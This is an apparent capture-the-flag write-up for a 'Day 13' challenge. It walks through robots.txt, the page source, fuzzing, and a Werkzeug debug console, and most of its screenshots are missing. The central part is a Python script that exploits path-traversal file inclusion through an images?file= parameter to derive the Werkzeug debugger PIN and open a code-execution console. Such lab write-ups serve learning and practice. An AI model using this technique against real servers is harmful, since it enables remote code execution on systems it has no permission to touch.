ChallengeWriteup

Day 13 Challenge Writeups

Cover Image for Day 13 Challenge Writeups
Team
Team

Vulnbydefault Day 13 Writeup

On opening site url we have given this interface

image.png

Flag 1

Lets check for robots.txt

image.png

Flag 2

Lets check the source code of home page

image.png

Use cyberchef

image.png

Lets fuzz the application

image.png

application is running in debug mode so we have console endpoint

image.png

we need pin to access the console

Lets check the application. Lets check the requests

image.png

Lets check for lfi in this request

image.png

Flag 3

Lets check for /flag.txt

image.png

If we have lfi we can make pin of werkzeug https://github.com/Ruulian/wconsole_extractor

git clone https://github.com/Ruulian/wconsole_extractor.git
cd wconsole_extractor
python3 -m venv env
source env/bin/activate
pip3 install .

from wconsole_extractor import WConsoleExtractor, info
import requests

def leak_function(filename) -> str:
    r = requests.get(f"http://ip:PORT/images?file=../../../../..{filename}")
    if r.status_code == 200:
        return r.text
    else:
        return ""

extractor = WConsoleExtractor(
    target="http://ip:PORT",
    leak_function=leak_function,
)

info(f"PIN CODE: {extractor.pin_code}")
extractor.debugger()

image.png

user.txt

image.png

root.txt

we have binary in root directory

image.png

Using strings we can check for printable strings from binary

image.png